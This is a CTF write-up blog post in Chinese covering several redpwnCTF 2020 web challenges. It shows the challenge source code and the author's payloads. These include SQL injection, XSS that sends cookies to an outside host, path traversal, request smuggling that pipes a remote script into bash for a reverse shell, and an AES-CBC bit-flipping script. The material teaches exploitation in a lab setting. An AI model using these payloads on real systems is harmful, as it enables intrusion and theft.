Author:颖奇L’Amore
Blog:www.gem-love.com
题目是比较不错的,只是和第五空间时间+安恒月赛重合了,做了几个题玩玩儿~~
web/inspector-general
My friend made a new webpage, can you find a flag?
签到题,直接html源代码找到flag:flag{1nspector_g3n3ral_at_w0rk}
web/login
I made a cool login page. I bet you can’t get in!
Site: login.2020.redpwnc.tf
global.__rootdir = __dirname;
const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const db = require('better-sqlite3')('db.sqlite3');
require('dotenv').config();
const app = express();
app.use(bodyParser.json({ extended: false }));
app.use(cookieParser());
app.post('/api/flag', (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (typeof username !== 'string') {
res.status(400);
res.end();
return;
}
if (typeof password !== 'string') {
res.status(400);
res.end();
return;
}
let result;
try {
result = db.prepare(`SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}';`).get();
} catch (error) {
res.json({ success: false, error: "There was a problem." });
res.end();
return;
}
if (result) {
res.json({ success: true, flag: process.env.FLAG });
res.end();
return;
}
res.json({ success: false, error: "Incorrect username or password." });
});
app.use(express.static(path.join(__dirname, '/public')));
app.listen(process.env.PORT || 3000);
// init database
db.prepare(`CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT);`).run();
db.prepare(`INSERT INTO
users (username, password)
VALUES ('${process.env.USERNAME}', '${process.env.PASSWORD}');`).run();
sql无任何过滤,账号密码都填:y1ng’ or ‘1’=’1即可得到flag:flag{0bl1g4t0ry_5ql1}
web/static-pastebin
I wanted to make a website to store bits of text, but I don’t have any experience with web development. However, I realized that I don’t need any! If you experience any issues, make a paste and send it here
Site: static-pastebin.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
是个文本框,然后能输入东西后显示出来,是个xss,在显示的页面有过滤
(async () => {
await new Promise((resolve) => {
window.addEventListener('load', resolve);
});
const content = window.location.hash.substring(1);
display(atob(content));
})();
function display(input) {
document.getElementById('paste').innerHTML = clean(input);
}
function clean(input) {
let brackets = 0;
let result = '';
for (let i = 0; i < input.length; i++) {
const current = input.charAt(i);
if (current == '<') {
brackets ++;
}
if (brackets == 0) {
result += current;
}
if (current == '>') {
brackets --;
}
}
return result
}
可见必须保证brackets为0才行,所以只需要构造个成对出现的<>
就可以了
<img src=y1ng onerror=window.open('http://y1ng.vip:12358/q='+btoa(document.cookie));>
然后提交给bot
打到bot的cookie:flag=flag{54n1t1z4t10n_k1nd4_h4rd}
web/static-static-hosting
Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here
Site: static-static-hosting.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
这题是上一个xss的升级版,刚刚是让输入文本然后这题改成了输入HTML,看js文件也能得知过滤规则:
function sanitize(element) {
const attributes = element.getAttributeNames();
for (let i = 0; i < attributes.length; i++) {
// Let people add images and styles
if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
element.removeAttribute(attributes[i]);
}
}
const children = element.children;
for (let i = 0; i < children.length; i++) {
if (children[i].nodeName === 'SCRIPT') {
element.removeChild(children[i]);
i --;
} else {
sanitize(children[i]);
}
}
}
不过因为我是先做的这个题,上一个题已经队友solve了,我直接忽略了那个output页面还有个js文件,并不知道过滤规则,也无所谓,多fuzz一会儿就行了
编码绕一下javascript关键字 然后用iframe就行了
payload:
<iframe src="javascript:window.open('http://y1ng.vip:12358/q='+btoa(document.cookie)>);">
然后和上一题一样,把url提交给bot,打回flag:flag{wh0_n33d5_d0mpur1fy}
web/panda-facts
I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!
global.__rootdir = __dirname;
const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const crypto = require('crypto');
require('dotenv').config();
const INTEGRITY = '12370cc0f387730fb3f273e4d46a94e5';
const app = express();
app.use(bodyParser.json({ extended: false }));
app.use(cookieParser());
app.post('/api/login', async (req, res) => {
if (!req.body.username || typeof req.body.username !== 'string') {
res.status(400);
res.end();
return;
}
res.json({'token': await generateToken(req.body.username)});
res.end;
});
app.get('/api/validate', async (req, res) => {
if (!req.cookies.token || typeof req.cookies.token !== 'string') {
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
const result = await decodeToken(req.cookies.token);
if (!result) {
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
res.json({success: true, token: result});
});
app.get('/api/flag', async (req, res) => {
if (!req.cookies.token || typeof req.cookies.token !== 'string') {
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
const result = await decodeToken(req.cookies.token);
if (!result) {
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
if (!result.member) {
res.json({success: false, error: 'You are not a member'});
res.end();
return;
}
res.json({success: true, flag: process.env.FLAG});
});
app.use(express.static(path.join(__dirname, '/public')));
app.listen(process.env.PORT || 3000);
async function generateToken(username) {
const algorithm = 'aes-192-cbc';
const key = Buffer.from(process.env.KEY, 'hex');
// Predictable IV doesn't matter here
const iv = Buffer.alloc(16, 0);
const cipher = crypto.createCipheriv(algorithm, key, iv);
const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`
let encrypted = '';
encrypted += cipher.update(token, 'utf8', 'base64');
encrypted += cipher.final('base64');
return encrypted;
}
async function decodeToken(encrypted) {
const algorithm = 'aes-192-cbc';
const key = Buffer.from(process.env.KEY, 'hex');
// Predictable IV doesn't matter here
const iv = Buffer.alloc(16, 0);
const decipher = crypto.createDecipheriv(algorithm, key, iv);
let decrypted = '';
try {
decrypted += decipher.update(encrypted, 'base64', 'utf8');
decrypted += decipher.final('utf8');
} catch (error) {
return false;
}
let res;
try {
res = JSON.parse(decrypted);
} catch (error) {
console.log(error);
return false;
}
if (res.integrity !== INTEGRITY) {
return false;
}
return res;
}
因为const key = Buffer.from(process.env.KEY, 'hex');
所以没法伪造,或许有办法但是我对密码不熟悉。但是这个让我想起了之前做过的一个题:
HexionCTF JACC这个题目中,通过伪造相同xml格式,造成了xml元素注入(不是xxe),这对于json同样适用。这种方法的题目比较少见,所以目前我也不确定这个题是否为非预期解法,但是这种方法确实很多时候可以造成非常严重的非预期。
去看下JACC之后就知道这个题怎么做了,payload:
","member":1,"username":"y1ng
得到flag:flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}
web/tux-fanpage
My friend made a fanpage for Tux; can you steal the source code for me?
又是一个给源码的nodejs:
const express = require('express')
const path = require('path')
const app = express()
//Don't forget to redact from published source
const flag = '[REDACTED]'
app.get('/', (req, res) => {
res.redirect('/page?path=index.html')
})
app.get('/page', (req, res) => {
let path = req.query.path
//Handle queryless request
if(!path || !strip(path)){
res.redirect('/page?path=index.html')
return
}
path = strip(path)
path = preventTraversal(path)
res.sendFile(prepare(path), (err) => {
if(err){
if (! res.headersSent) {
try {
res.send(strip(req.query.path) + ' not found')
} catch {
res.end()
}
}
}
})
})
//Prevent directory traversal attack
function preventTraversal(dir){
if(dir.includes('../')){
let res = dir.replace('../', '')
return preventTraversal(res)
}
//In case people want to test locally on windows
if(dir.includes('..\\')){
let res = dir.replace('..\\', '')
return preventTraversal(res)
}
return dir
}
//Get absolute path from relative path
function prepare(dir){
return path.resolve('./public/' + dir)
}
//Strip leading characters
function strip(dir){
const regex = /^[a-z0-9]$/im
//Remove first character if not alphanumeric
if(!regex.test(dir[0])){
if(dir.length > 0){
return strip(dir.slice(1))
}
return ''
}
return dir
}
app.listen(3000, () => {
console.log('listening on 0.0.0.0:3000')
})
Nodejs的sendfile()
,要求文件名必须以字母or数字开头,并且不能出现../
..\
,如果满足这个条件就sendfile()
,题目很直白,就是让我们bypass然后目录穿越读文件
数组绕过,他这个要绕两层,首先是strip()
function strip(dir){
const regex = /^[a-z0-9]$/im
//Remove first character if not alphanumeric
if(!regex.test(dir[0])){
if(dir.length > 0){
return strip(dir.slice(1))
}
return ''
}
return dir
}
只要第一个元素是一个字母,就能绕过去了
这是因为dir[0]是数组第一个元素,是字符串’a’,正则匹配返回true,其他则返回false
第二层要绕过一个递归函数preventTraversal(dir)
,里面有个includes()
方法:
if(dir.includes('../')){
let res = dir.replace('../', '')
return preventTraversal(res)
}
includes()
是string和数组都有的方法,字符串的时候可以理解为搜索或者匹配,但是数组的includes()
是查找有没有这个元素,比如数组['aaaab'].includes('aaaa')
是false的,因为并没有aaaa这个元素,但是如果是'aaaab'.includes('aaaa')
就返回true了
反正总而言之,preventTraversal()
原封不动返回了给它的数组:
之后就是path.resolve()
了 先看下官方文档https://nodejs.org/api/path.html#path_path_resolve_paths
然后因为它有一个字符串拼接操作,path.resolve('./public/' + dir)
加之js“万物杂交皆是字符串”,字符串+数组也返回一个字符串
把这个结果交给path.resolve()
就顺理成章的目录穿越了
至于path是一个query参数,怎么得到一个数组,也是老生常谈,只要path[]=x&path[]=y
就能得到['x','y']
,想要几个参数就加几次path[]=
就行了,最终:
https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=/../../index.js
const flag = 'flag{tr4v3rsal_Tim3}'
另外,之前做过一个类似的nodejs,也是题目处理字符串,然后利用数组绕过以及字符串+数组=字符串的这种feature
web/post-it-notes
Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.
Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.
是个SSRF+走私,题目给了web server和api server的源码,api在内网无法访问,我们只能访问webserver。
在api上很容易发现命令注入:
def get_note(nid):
stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
if stderr:
print(stderr) # lemonthink
return {}
return {
'success' : True,
'title' : nid,
'contents' : stdout.decode('utf-8', errors = 'ignore')
}
webserver的代码比较复杂:
#!/usr/bin/env python3
# Author: redpwn CTF team
# Notes: ngl this challenge is kinda trolly, but don't mind all the comments.
# The basis for the chal is kinda interesting, but the vulnerability is
# diluted by madness.
import requests
import socket
import re, re, re, re, re as REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
import json as jason
import traceback
from flask import redirect
# BEGIN brian shrine
# why is CF12 so op...
BRIAN = 1337; BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN and BRIAN > False
# brian orz
# END brian shrine
# XXX: how many quotes are required here? we should save bytes and use fewer if possible
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
NOTE TO FUTURE DEVELOPERS:
sorry i suck at writing python so much...
and sorry this is written in python...
if nobody can read my code, i cant be fired!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
and users dont know the difference since the app works normally... haha
dont worry node is the future haha im just
making sure i have job security
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# XXX: why doesn't this message present to users????? what if they sue us for not telling them............
# :thonk:
print('i use arch btw')
# <3 gink gink
API_HOST= 'http://localhost:{port}'
# :lemonthink:
class Note:
# XXX: no static typing? :(
def get(nid, port = None):
_host = API_HOST.format(port = port)
json = jason
note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
'title' : nid
}, headers = {
'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
'Connection' : 'close'
}).text) or '{}') # url encoding is for noobs
if note.get('success'):
note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]
####print('got note', nid, ' : ', note)
return note
def create(title, contents, port = None):
_host = API_HOST.format(port = port)
x = {
'title' : ''.join([(x if x in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ,./<>?;:[]{}!@#$%^&*()~' else '_') for x in list(str(title))]).ljust(10, 'A'), # no ` or ' or " allowed!
'contents' : contents,
}
uRl = _host + '/api/v1/notes'
result = requests.post(uRl, data = x, headers = {
'Authorization' : 'his name is john connor',
'Connection' : 'close'
}).text
# <3 dan dan
json = jason # <3 jason liu
try:
a = json.loads(str(result) or '{}')
if not a.get('success'):
return {'success':False, 'message':'api server error, plz report this if it is legit not ur fault thx'}
else:
return redirect(f'/notes/{a["title"]}')
except Exception as e:
print(e)
return {'success':False, 'message':'something went wrong :('}
# XXX: shouldnt this be outside of the Note class
def check_link(link):
# XXX: we only support http links at the moment :(
# XXX: what if someone wants to use domain spoofing characters? we don't support that...
r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
if not r:
print('no bad link!!!', link)
return False
host, port, path = r.groups()
ip = None
try:
# :thonkeng:
ip = socket.gethostbyname(host)
except:
ip = host
pass # eh we just want ip it doesnt really matter ig since it will be validated in next step
# validate host
try:
# XXX: ipv6 and ipv8 support
ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
except Exception as PYTHON_SUCKS:
print(PYTHON_SUCKS)
print(host)
print('bad ip address')
return False
# XXX: I CANT FIGURE OUT HOW TO MAKE HTTP HEAD REQUESTS FROM THE requests LIBRARY SO I AM DOING THIS BY MYSELF! DONT MOCK ME FOR """"""""""rEinVENtinG thE WheEL"""""""""".
# :blobpat:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = int(str(port or 80).lstrip(':'))
s.connect((ip, port))
# XXX: this works and i dont know why
# NOTE: there was a bug before where newlines in `path` could make all requests fail. Fixed based on jira ticket RCTF-1231
wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') # python3 socket library go brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
print(wef)
s.send(wef)
# XXX: i dont like the above code, it is bad
# XXX: three months later: what does the above comment mean, i forgot
print('waiting')
# give it time to think
import time as angstromCTF
angstromCTF.kevin_higgs=angstromCTF.sleep
angstromCTF.kevin_higgs(1337/300/4)
# XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
try:
# XXX: idk how sockets work...
s.settimeout(4)
except:
pass
rEspONSe = s.recv(4096)
if b'200 OK' in rEspONSe:
s.close()
return True
s.close()
return False
except Exception as e:
traceback.print_exc()
print(e)
# eh whatever :pepega:
# NOTE: Thanks to the invaluable security research contributions
# from the organizer, ginkoid a critical vulnerability that used
# to exist here is now patched. :pepega: used to be spelled
# :pepaga: ... :sob:
return False
return bool(False)
check_link()
里很明显这里可以造成走私:
wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n')
这个get()
内的正则也暗示必须Smuggling:
note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]
但是走私之前就遇到了一个大问题,并不知道api服务器的端口号:
from api import server as api_server
from web import server as web_server
import threading, random
if __name__ == '__main__':
backend_port = random.randint(50000, 51000)
at = threading.Thread(target = api_server.start, args = (backend_port,))
wt = threading.Thread(target = web_server.start, args = (backend_port,))
at.daemon = True
wt.daemon = True
at.start()
wt.start()
at.join()
exit() # something is wrong
wt.join()
exit() # something is wrong
可以看到api的端口是50000-51000这1000个端口中的一个,首先就需要想个办法找到这个端口号。
webserver的check_link如果200会返回True,并且响应时间也有变化,所以可以利用这个特性来爆破端口:
import time as angstromCTF
angstromCTF.kevin_higgs=angstromCTF.sleep
angstromCTF.kevin_higgs(1337/300/4)
# XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
try:
# XXX: idk how sockets work...
s.settimeout(4)
except:
pass
rEspONSe = s.recv(4096)
if b'200 OK' in rEspONSe:
s.close()
return True
s.close()
return False
写个小requests脚本,跑出50596端口
import requests as req
url = "http://2020.redpwnc.tf:31957/check-links"
data = {"links":""}
for i in range(50000,51000):
api = "http://localhost:{}".format(i)
data["link"] = api
r = req.post(url, data=data)
if r"true" in r.text:
print("success:"+str(i))
break
之后就是走私了
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
from urllib.parse import quote as urlen
url = "http://2020.redpwnc.tf:31957/check-links"
#bash中用#把后面的命令过滤掉
smuggling = "http://127.0.0.1\r\n\r\nGET /api/v1/notes/?title=" + urlen("';curl http://gem-love.com/shell.txt|bash #") + " HTTP/1.1\r\n\r\n:50596"
data = {"links":smuggling}
req.post(url, data=data)
走私成功,造成命令注入,反弹shell
web/cookie-recipes-v2
I want to buy some of these recipes, but they are awfully expensive. Can you take a look?
非预期了
关键代码:
require('dotenv').config();
const routes = {
staticFiles: async (req, res) => {
// get file path
let filePath = path.join('public', url.parse(req.url).pathname);
if (filePath.endsWith('/')) {
filePath = path.join(filePath, 'index.html');
} const type = mime.getType(path.extname(filePath));
// read file and stuff
try {
const content = await fs.promises.readFile(filePath);
res.writeHead(200, { 'Content-Type': type });
res.end(content, 'utf-8');
} catch (error) {
res.writeHead(['ENOENT', 'EISDIR'].includes(error.code) ? 404 : 500);
res.end();
}
},
api: async (req, res) => {
const route = url.parse(req.url).pathname.substr(5);
if (!api.has(route)) {
res.writeHead(404);
res.end();
return;
}
api.get(route)(req, res);
}
};
首先,使用了dotenv,前两天用docker构建nodejs还使用了dotenv
,参考文章:
https://www.cnblogs.com/rongfengliang/p/10783341.html
所以环境变量是存在/app/.env里的,然后题目process.env.FLAG
之后就是这个路由,很明显可以目录穿越然后readfile()
,所以只要目录穿越去读/app/.env
就好了,问题在于,直接访问/../../../../../app/.env
会被浏览器自动解析成/app/.env
,没办法目录穿越
然后去Google查了一下怎么不自动把../
给处理掉,查到了:
https://github.com/curl/curl/blob/master/docs/cmdline-opts/path-as-is.d
Long: path-as-is Help: Do not squash .. sequences in URL path Added: 7.42.0 --- Tell curl to not handle sequences of /../ or /./ in the given URL path. Normally curl will squash or merge them according to standards but with this option set you tell it not to do that.
所以只要带上–path-as-is参数来curl一下就行了
curl --path-as-is https://cookie-recipes-v2.2020.redpwnc.tf/../../../../app/.env
赛后去看了下别人的wp,是一个XSS+SSRF,利用XMLHTTPRequest
去实现SSRF,思路基本跟DASCTF May x BJDCTF 3rd我出的那个notes题一样,而且这题没啥过滤,直接用就行。
web/panda-fact-v2
Uh oh; it looks like they already migrated to a more secure platform. Can you do your thing again? These horrible people must be stopped!
没做出来,赛后复现的
https://isopach.dev/Redpwn-CTF-2020/#panda-facts-v2
#!/usr/bin/env python
import requests
import json
from pwn import *
def blockify(a):
return [a[i:i+16] for i in range(0, len(a), 16)]
def validate_req(payload):
cookie = {'token' : payload}
r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/validate',cookies=cookie)
return r.text
def blocks_to_payload(blks):
import base64
return base64.b64encode("".join(blks))
def send_blks(blks):
encoded_payload = blocks_to_payload(blks)
return validate_req(encoded_payload)
def get_cookie(payload):
r = requests.post('https://panda-facts-v2.2020.redpwnc.tf/api/login', json = {'username' : payload})
return json.loads(r.text)['token'].decode('base64')
def get_flag(blks):
encoded_payload = blocks_to_payload(blks)
cookie = {'token': encoded_payload}
r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/flag',cookies=cookie)
return json.loads(r.text)['flag']
def bind_payload(payload, i):
return payload % ("%25d" % i)
def xor_payload(block):
# our current \",\"member_: "}
# our target _",_"member": n}
new_payload = ""
new_payload += chr(ord(block[0]) ^ ord("\\") ^ ord(" "))
new_payload += block[1:3]
new_payload += chr(ord(block[3]) ^ ord("\\") ^ ord(" "))
new_payload += block[4:11]
new_payload += chr(ord(block[11]) ^ ord("_") ^ ord('"'))
new_payload += block[12:14]
new_payload += chr(ord(block[14]) ^ ord('"') ^ ord('1'))
new_payload += block[15:]
return new_payload
payload_len = 25
payload = '%s","member_: '
for i in range(1000):
c_payload = bind_payload(payload, i)
cookie = get_cookie(c_payload)
payload_blocks = blockify(cookie)
payload_blocks[-3] = xor_payload(payload_blocks[-3])
data = send_blks(payload_blocks)
if 'true' in data:
flag = get_flag(payload_blocks)
log.success(flag)
break
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/2391.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示